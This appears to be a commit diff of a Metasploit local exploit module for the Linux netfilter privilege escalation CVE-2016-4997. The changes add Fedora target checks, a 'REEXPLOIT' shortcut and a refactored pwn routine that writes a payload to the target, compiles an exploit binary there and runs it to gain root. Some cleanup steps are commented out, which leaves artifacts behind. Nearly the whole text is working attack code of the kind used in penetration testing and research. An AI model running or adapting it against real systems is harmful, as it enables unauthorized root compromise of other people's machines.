@@ -14,12 +14,13 @@ class MetasploitModule < Msf::Exploit::Local
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'Ubuntu Netfilter Privilege Escalation' ,
17
+ 'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation' ,
18
18
'Description' => %q{
19
- This module attempts to exploit a netfilter bug on Ubuntu 16.04 (not 16.04.1) with kernel
19
+ This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently
20
+ only works against Ubuntu 16.04 (not 16.04.1) with kernel
20
21
4.4.0-21-generic. Several conditions have to be met for successful exploitation:
21
- 1. ip_tables.ko has to be loaded (root running iptables -L will do such)
22
- 2. libc6-dev-i386 needs to be installed to compile
22
+ 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
23
+ 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
23
24
Kernel 4.4.0-31-generic and newer are not vulnerable.
24
25
25
26
We write the ascii files and compile on target instead of locally since metasm bombs for not
@@ -35,18 +36,24 @@ def initialize(info = {})
35
36
'Platform' => [ 'linux' ] ,
36
37
'Arch' => [ ARCH_X86 ] ,
37
38
'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
38
- 'Targets' => [ [ 'Linux x86' , { 'Arch' => ARCH_X86 } ] ] ,
39
+ 'Targets' =>
40
+ [
41
+ [ 'Ubuntu' , { } ]
42
+ #[ 'Fedora', { } ]
43
+ ] ,
39
44
'DefaultTarget' => 0 ,
40
45
'References' =>
41
46
[
42
47
[ 'EDB' , '40049' ] ,
43
- [ 'CVE' , '2016-4997' ]
48
+ [ 'CVE' , '2016-4997' ] ,
49
+ [ 'URL' , 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c' ]
44
50
]
45
51
) )
46
52
register_options (
47
53
[
48
54
OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files (must not be mounted noexec)' , '/tmp' ] ) ,
49
- OptString . new ( 'MAXWAIT' , [ true , 'Max time to wait for decrementation in seconds' , 120 ] )
55
+ OptInt . new ( 'MAXWAIT' , [ true , 'Max seconds to wait for decrementation in seconds' , 180 ] ) ,
56
+ OptBool . new ( 'REEXPLOIT' , [ true , 'desc already ran, no need to re-run, skip to running pwn' , false ] )
50
57
] , self . class )
51
58
end
52
59
@@ -55,27 +62,56 @@ def iptables_loaded?()
55
62
# user@ubuntu:~$ cat /proc/modules | grep ip_tables
56
63
# ip_tables 28672 1 iptable_filter, Live 0x0000000000000000
57
64
# x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000
58
- vprint_status ( 'Checking if ip_tables.ko is loaded' )
59
- iptables = cmd_exec ( 'cat /proc/modules | grep ip_tables' )
60
- if iptables . include? ( 'ip_tables' )
61
- vprint_good ( 'ip_tables.ko is loaded' )
65
+ vprint_status ( 'Checking if ip_tables is loaded in kernel' )
66
+ if target . name == "Ubuntu"
67
+ iptables = cmd_exec ( 'cat /proc/modules | grep ip_tables' )
68
+ if iptables . include? ( 'ip_tables' )
69
+ vprint_good ( 'ip_tables.ko is loaded' )
70
+ else
71
+ print_error ( 'ip_tables.ko is not loaded. root needs to run iptables -L or similar command' )
72
+ end
73
+ return iptables . include? ( 'ip_tables' )
74
+ elsif target . name == "Fedora"
75
+ iptables = cmd_exec ( 'cat /proc/modules | grep iptable_raw' )
76
+ if iptables . include? ( 'iptable_raw' )
77
+ vprint_good ( 'iptable_raw is loaded' )
78
+ else
79
+ print_error ( 'iptable_raw is not loaded. root needs to run iptables -L or similar command' )
80
+ end
81
+ return iptables . include? ( 'iptable_raw' )
62
82
else
63
- print_error ( 'ip_tables.ko is not loaded. root needs to run iptables -L or similar command' )
83
+ return false
64
84
end
65
- return iptables . include? ( 'ip_tables' )
66
85
end
67
86
68
87
def libs_installed? ( )
69
88
# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
70
89
# libc6-dev-i386 install
71
- vprint_status ( 'Checking if libc6-dev-i386 is installed' )
72
- lib = cmd_exec ( 'dpkg --get-selections | grep libc6-dev-i386' )
73
- if lib . include? ( 'install' )
74
- vprint_good ( 'libc6-dev-i386 is installed' )
90
+ vprint_status ( 'Checking if 32bit C libraries are installed' )
91
+ if target . name == "Ubuntu"
92
+ lib = cmd_exec ( 'dpkg --get-selections | grep libc6-dev-i386' )
93
+ if lib . include? ( 'install' )
94
+ vprint_good ( 'libc6-dev-i386 is installed' )
95
+ else
96
+ print_error ( 'libc6-dev-i386 is not installed. Compiling will fail.' )
97
+ end
98
+ return lib . include? ( 'install' )
99
+ elsif target . name == "Fedora"
100
+ lib = cmd_exec ( 'dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'' )
101
+ if lib . include? ( 'glibc' )
102
+ vprint_good ( 'glibc-devel.i686 is installed' )
103
+ else
104
+ print_error ( 'glibc-devel.i686 is not installed. Compiling will fail.' )
105
+ end
106
+ if lib . include? ( 'libgcc' )
107
+ vprint_good ( 'libgcc.i686 is installed' )
108
+ else
109
+ print_error ( 'libgcc.i686 is not installed. Compiling will fail.' )
110
+ end
111
+ return ( lib . include? ( 'glibc' ) and lib . include? ( 'libgcc' ) )
75
112
else
76
- print_error ( 'libc6-dev-i386 is not installed. Compiling will fail.' )
113
+ return false
77
114
end
78
- return lib . include? ( 'install' )
79
115
end
80
116
81
117
def shemsham_installed? ( )
@@ -85,7 +121,7 @@ def shemsham_installed?()
85
121
if shemsham . include? ( 'shem' )
86
122
print_error ( 'shem installed, system not vulnerable.' )
87
123
elsif shemsham . include? ( 'sham' )
88
- print_error ( 'shem installed, system not vulnerable.' )
124
+ print_error ( 'sham installed, system not vulnerable.' )
89
125
else
90
126
vprint_good ( 'shem and sham not present.' )
91
127
end
@@ -282,51 +318,64 @@ def exploit
282
318
if check != CheckCode ::Appears
283
319
fail_with ( Failure ::NotVulnerable , 'Target not vulnerable! punt!' )
284
320
end
285
-
286
- print_status "Writing desc executable to #{ desc_file } .c"
287
- rm_f env_ready_file
288
- rm_f "#{ desc_file } .c"
289
- rm_f desc_file
290
- write_file ( "#{ desc_file } .c" , decr )
291
- output = cmd_exec ( "gcc #{ desc_file } .c -m32 -O2 -o #{ desc_file } " )
292
-
293
- register_file_for_cleanup ( env_ready_file )
294
- register_file_for_cleanup ( "#{ desc_file } .c" )
295
- register_file_for_cleanup ( desc_file )
296
- if not file_exist? ( desc_file )
297
- vprint_error ( "gcc failure output: #{ output } " )
298
- fail_with ( Failure ::Unknown , "#{ desc_file } .c failed to compile" )
321
+
322
+ def pwn ( payload_path , pwn_file , pwn )
323
+ # lets write our payload since everythings set for priv esc
324
+ vprint_status ( "Writing payload to #{ payload_path } " )
325
+ write_file ( payload_path , generate_payload_exe )
326
+ cmd_exec ( "chmod 555 #{ payload_path } " )
327
+ #register_file_for_cleanup(payload_path)
328
+
329
+ # now lets drop part 2, and finish up.
330
+ print_status "Writing pwn executable to #{ pwn_file } .c"
331
+ rm_f pwn_file
332
+ rm_f "#{ pwn_file } .c"
333
+ write_file ( "#{ pwn_file } .c" , pwn )
334
+ cmd_exec ( "gcc #{ pwn_file } .c -O2 -o #{ pwn_file } " )
335
+ #register_file_for_cleanup("#{pwn_file}.c")
336
+ #register_file_for_cleanup(pwn_file)
337
+ cmd_exec ( "chmod +x #{ pwn_file } ; #{ pwn_file } " )
299
338
end
300
- vprint_status "Executing #{ desc_file } , may take around 35s to finish. Watching for #{ env_ready_file } to be created."
301
- cmd_exec ( "chmod +x #{ desc_file } ; #{ desc_file } " )
302
- sec_waited = 0
303
-
304
- until sec_waited > datastore [ 'MAXWAIT' ] do
305
- Rex . sleep ( 1 )
306
- if sec_waited % 10 == 0
307
- vprint_status ( "Waited #{ sec_waited } s so far" )
308
- end
309
339
310
- if file_exist? ( env_ready_file )
311
- print_good ( "desc finished, env ready." )
312
- # lets write our payload since everythings set for priv esc
313
- vprint_status ( "Writing payload to #{ payload_path } " )
314
- write_file ( payload_path , generate_payload_exe )
315
- cmd_exec ( "chmod 555 #{ payload_path } " )
316
- register_file_for_cleanup ( payload_path )
317
-
318
- # now lets drop part 2, and finish up.
319
- print_status "Writing pwn executable to #{ pwn_file } .c"
320
- rm_f pwn_file
321
- rm_f "#{ pwn_file } .c"
322
- write_file ( "#{ pwn_file } .c" , pwn )
323
- cmd_exec ( "gcc #{ pwn_file } .c -O2 -o #{ pwn_file } " )
324
- register_file_for_cleanup ( "#{ pwn_file } .c" )
325
- register_file_for_cleanup ( pwn_file )
326
- cmd_exec ( "chmod +x #{ pwn_file } ; #{ pwn_file } " )
327
- return
340
+ # check for shortcut
341
+ if datastore [ 'REEXPLOIT' ]
342
+ pwn ( payload_path , pwn_file , pwn )
343
+ else
344
+ print_status "Writing desc executable to #{ desc_file } .c"
345
+ rm_f env_ready_file
346
+ rm_f "#{ desc_file } .c"
347
+ rm_f desc_file
348
+ write_file ( "#{ desc_file } .c" , decr )
349
+ output = cmd_exec ( "gcc #{ desc_file } .c -m32 -O2 -o #{ desc_file } " )
350
+
351
+ register_file_for_cleanup ( env_ready_file )
352
+ register_file_for_cleanup ( "#{ desc_file } .c" )
353
+ register_file_for_cleanup ( desc_file )
354
+ if not file_exist? ( desc_file )
355
+ vprint_error ( "gcc failure output: #{ output } " )
356
+ fail_with ( Failure ::Unknown , "#{ desc_file } .c failed to compile" )
357
+ end
358
+ if target . name == "Ubuntu"
359
+ vprint_status "Executing #{ desc_file } , may take around 35s to finish. Watching for #{ env_ready_file } to be created."
360
+ elsif target . name == "Fedora"
361
+ vprint_status "Executing #{ desc_file } , may take around 80s to finish. Watching for #{ env_ready_file } to be created."
362
+ end
363
+ cmd_exec ( "chmod +x #{ desc_file } ; #{ desc_file } " )
364
+ sec_waited = 0
365
+
366
+ until sec_waited > datastore [ 'MAXWAIT' ] do
367
+ Rex . sleep ( 1 )
368
+ if sec_waited % 10 == 0
369
+ vprint_status ( "Waited #{ sec_waited } s so far" )
370
+ end
371
+
372
+ if file_exist? ( env_ready_file )
373
+ print_good ( "desc finished, env ready." )
374
+ pwn ( payload_path , pwn_file , pwn )
375
+ return
376
+ end
377
+ sec_waited +=1
328
378
end
329
- sec_waited +=1
330
379
end
331
380
end
332
381
end
0 commit comments